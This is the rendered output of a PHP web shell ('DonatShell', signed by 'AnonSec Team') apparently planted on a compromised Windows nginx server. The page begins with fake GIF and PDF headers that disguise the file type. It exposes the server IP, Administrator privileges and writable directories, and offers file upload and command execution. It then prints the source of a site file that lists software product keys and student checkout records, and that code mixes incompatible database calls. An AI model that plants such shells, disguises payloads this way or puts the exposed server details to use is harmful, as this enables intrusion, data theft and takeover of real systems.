GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Software/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Software/tableData.php
<?php require_once('../Connections/products.php');  ?>
<?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

$maxRows_Recordset1 = 100;
$pageNum_Recordset1 = 0;
if (isset($_GET['pageNum_Recordset1'])) {
  $pageNum_Recordset1 = $_GET['pageNum_Recordset1'];
}
$startRow_Recordset1 = $pageNum_Recordset1 * $maxRows_Recordset1;

mysql_select_db($database_products, $products);
$query_Recordset1 = "SELECT * FROM product order by productID";
$query_limit_Recordset1 = sprintf("%s LIMIT %d, %d", $query_Recordset1, $startRow_Recordset1, $maxRows_Recordset1);
$Recordset1 = mysql_query($query_limit_Recordset1, $products) or die(mysql_error());
$row_Recordset1 = mysqli_fetch_assoc($Recordset1);

if (isset($_GET['totalRows_Recordset1'])) {
  $totalRows_Recordset1 = $_GET['totalRows_Recordset1'];
} else {
  $all_Recordset1 = mysql_query($query_Recordset1);
  $totalRows_Recordset1 = mysql_num_rows($all_Recordset1);
}
$totalPages_Recordset1 = ceil($totalRows_Recordset1/$maxRows_Recordset1)-1;

$maxRows_Recordset2 = 100;
$pageNum_Recordset2 = 0;
if (isset($_GET['pageNum_Recordset2'])) {
  $pageNum_Recordset2 = $_GET['pageNum_Recordset2'];
}
$startRow_Recordset2 = $pageNum_Recordset2 * $maxRows_Recordset2;

mysql_select_db($database_products, $products);
$query_Recordset2 = "SELECT * FROM productkey order by productID, productkeyID";
$query_limit_Recordset2 = sprintf("%s LIMIT %d, %d", $query_Recordset2, $startRow_Recordset2, $maxRows_Recordset2);
$Recordset2 = mysql_query($query_limit_Recordset2, $products) or die(mysql_error());
$row_Recordset2 = mysqli_fetch_assoc($Recordset2);

if (isset($_GET['totalRows_Recordset2'])) {
  $totalRows_Recordset2 = $_GET['totalRows_Recordset2'];
} else {
  $all_Recordset2 = mysql_query($query_Recordset2);
  $totalRows_Recordset2 = mysql_num_rows($all_Recordset2);
}
$totalPages_Recordset2 = ceil($totalRows_Recordset2/$maxRows_Recordset2)-1;

$maxRows_Recordset3 = 100;
$pageNum_Recordset3 = 0;
if (isset($_GET['pageNum_Recordset3'])) {
  $pageNum_Recordset3 = $_GET['pageNum_Recordset3'];
}
$startRow_Recordset3 = $pageNum_Recordset3 * $maxRows_Recordset3;

mysql_select_db($database_products, $products);
$query_Recordset3 = "SELECT * FROM productlocation order by productkeyID";
$query_limit_Recordset3 = sprintf("%s LIMIT %d, %d", $query_Recordset3, $startRow_Recordset3, $maxRows_Recordset3);
$Recordset3 = mysql_query($query_limit_Recordset3, $products) or die(mysql_error());
$row_Recordset3 = mysqli_fetch_assoc($Recordset3);

if (isset($_GET['totalRows_Recordset3'])) {
  $totalRows_Recordset3 = $_GET['totalRows_Recordset3'];
} else {
  $all_Recordset3 = mysql_query($query_Recordset3);
  $totalRows_Recordset3 = mysql_num_rows($all_Recordset3);
}
$totalPages_Recordset3 = ceil($totalRows_Recordset3/$maxRows_Recordset3)-1;
?><p>&nbsp; </p>

<p>&nbsp;</p>
Currently In Tables

<table border="1" cellpadding="1" cellspacing="1">
  <tr>
    
    <td>productID</td>
    <td>product Desc</td>
     
  </tr>
  <?php do { ?>
    <tr>
     
      <td><?php echo $row_Recordset1['productID']; ?></td>
      <td><?php echo $row_Recordset1['productDescription']; ?></td>
      
    </tr>
    <?php } while ($row_Recordset1 = mysqli_fetch_assoc($Recordset1)); ?>
</table>

<table border="1" cellpadding="1" cellspacing="1">
  <tr>
    <td>productkeyID</td>
    <td>productID</td>
    <td>productkeyNumber</td>
    <td>productkeyAvailable</td>
    <td>productkeyMultiUse</td>
  </tr>
  <?php do { ?>
    <tr>
      <td><?php echo $row_Recordset2['productkeyID']; ?></td>
      <td><?php echo $row_Recordset2['productID']; ?></td>
      <td><?php echo $row_Recordset2['productkeyNumber']; ?></td>
      <td><?php echo $row_Recordset2['productkeyAvailable']; ?></td>
      <td><?php echo $row_Recordset2['productkeyMultiUse']; ?></td>
    </tr>
    <?php } while ($row_Recordset2 = mysqli_fetch_assoc($Recordset2)); ?>
</table>
<p>&nbsp;</p>
<p>location</p>
<p>&nbsp;</p>

<table border="1" cellpadding="1" cellspacing="1">
  <tr>
    <td>productlocationID</td>
    <td>productkeyID</td>
    <td>userStudentID</td>
    <td>productlocationDateOut</td>
    <td>productlocationDateIn</td>
  </tr>
  <?php do { ?>
    <tr>
      <td><?php echo $row_Recordset3['productlocationID']; ?></td>
      <td><?php echo $row_Recordset3['productkeyID']; ?></td>
      <td><?php echo $row_Recordset3['userStudentID']; ?></td>
      <td><?php echo $row_Recordset3['productlocationDateOut']; ?></td>
      <td><?php echo $row_Recordset3['productlocationDateIn']; ?></td>
    </tr>
    <?php } while ($row_Recordset3 = mysqli_fetch_assoc($Recordset3)); ?>
</table>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp; </p>

Anon7 - 2022
AnonSec Team